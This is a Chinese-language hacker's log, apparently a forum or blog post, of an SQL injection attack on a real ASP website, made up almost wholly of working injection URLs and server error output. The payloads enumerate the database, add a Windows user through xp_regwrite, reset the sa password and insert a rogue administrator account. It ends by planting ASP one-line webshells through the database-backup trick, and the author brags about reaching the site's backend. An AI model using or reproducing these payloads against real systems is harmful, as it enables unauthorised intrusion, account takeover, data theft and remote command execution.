http://61.*.*.*/assist/dim_counter2.asp?di=103&gourl=http://www.east***.com/xgss/newstock.html ' and (select count(*) from sysobjects) >11 and 'a'='a
http://61.*.*.*/assist/dim_counter2.asp?di=103&gourl=http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) >1100000 and 'a'='a -----------------------
反馈回来都是空白页，如果不仔细看根本看不出什么明堂哦，但是如果看源码，绝对是不一样的哦，一个源码是： 第一段返回的源码： <script>location.href='http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) >11 and 'a'='a'</script> 第二段返回的源码： <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=Content-Type content="text/html; charset=gb2312"></HEAD> <BODY></BODY></HTML>
看出区别了么？一个条件成立的时候反馈回来的就是一个跳转代码（是 javascript的跳转代码），条件不成立的时候返回的是没有任何东西的。。。。第一段的条件是 (select count(*) from sysobjects) >11 数据库里的对象一般都超过11个的咯，所以说条件当然成立，第2段的条件是(select count(*) from sysobjects) >1100000 ，数据库里没有那么多对象，因此不成立，反馈回来的是空，于是就跳到了空白页面。
http://61.××××/assist/dim_counter2.asp?di=103&gourl=http://www.east××××.com/xgss/newstock.html ' and (select top 1 name from sysobjects) >1 and 'a'='a
反馈出有一个对象 ahcmd
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'ahcmd' to a column of data type int.
/assist/dim_counter2.asp, line 12
－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) >8 and 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) >7 and 'a'='a
猜出 里面有8个数据库（包括系统数据库）
－－－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select @@version)>8 and 'a'='a
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
确定版本信息
－－－－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and user_name()>8 and 'a'='a
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'comeonbaby' to a column of data type int.
/assist/dim_counter2.asp, line 12
确定用户名为 comeonbaby
－－－－－－－－－－－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and db_name()>8 and 'a'='a
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int.
/assist/dim_counter2.asp, line 12
获取当前的数据库名称为 EMASSIST
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid>6)>8 and 'a'='a
Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int.
第一个用户数据库名 是 EMASSIST
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid>7)>8 and 'a'='a
Syntax error converting the nvarchar value 'SearchLog' to a column of data type int.
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Windows\currentvers ion\run'',''aa'',''REG_SZ'',''net user abc abc /add'';select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01;select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and (select [password] from master.dbo.sysxlogins where sid=0x01)>0 and 'a'='a
Microsoft OLE DB Provider for SQL Server error '80040e09'
SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'.
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';backup database EMASSIST to disk='d:\assist\bak\a.bak' with init;select top 1 a from ahcmd where 'a'='a
备份数据库到D盘d:\assist\bak\a.bak
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';backup database SearchLog to disk='d:\assist\bak\s.bak';select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into EDITORLIST(editor_validity,editor_name,editor_create_time,editor_password)values('1','sunyan','2006-08-31 15:15:27.000','618a5676d977177f') ;select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 editor_password from EDITORLIST order by editor_id desc) >1 and 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a
插入一条用户管理员 并查询
更改管理员密码
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';update EDITORLIST set editor_password='469e80d32c0559f8' where editor_password='618a5676d977177f';select top 1 a from ahcmd where 'a'='a
插入管理员权限
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into EDITORRIGHT(right_editor_id,right_func_id )values(11,4);select top 1 a from ahcmd where 'a'='a
哈已经可以登陆它的后台了，，，，可是后台没有上传的功能。。。。。郁闷
登陆地址 ：××××××× 我就不写了。。。
目的已经达到了，为了生成一个webshell我考虑来考虑去，只有一句话木马和备份法可以实现哦。。
好决定再试试。。。。 －－－－－－－－－－－－－－－－－－－－－－－－
备份生成一句话木马
测试：
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;use EMASSIST;select top 1 a from ahcmd where 'a'='a
OK！
－－－创建一句话木马－ http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into ahcmd (a) values ('<%execute request("value")%>');select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';BACKUP DATABASE EMASSIST to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a
--http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;create table cmd(str image);use EMASSIST;select top 1 a from ahcmd where 'a'='a
---http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;insert into cmd(str) values ('<%execute request("value")%>');use EMASSIST;select top 1 a from ahcmd where 'a'='a
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;BACKUP DATABASE SearchLog to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;use EMASSIST;select top 1 a from ahcmd where 'a'='a
查看 http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 str from SearchLog.dbo.[cmd])>1 and 'a'='a
----------------------创建简洁shell
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html'; create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c"&request("c")).stdout.readall%>');backup database model to disk='d:\assist\bak\l.asp with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a
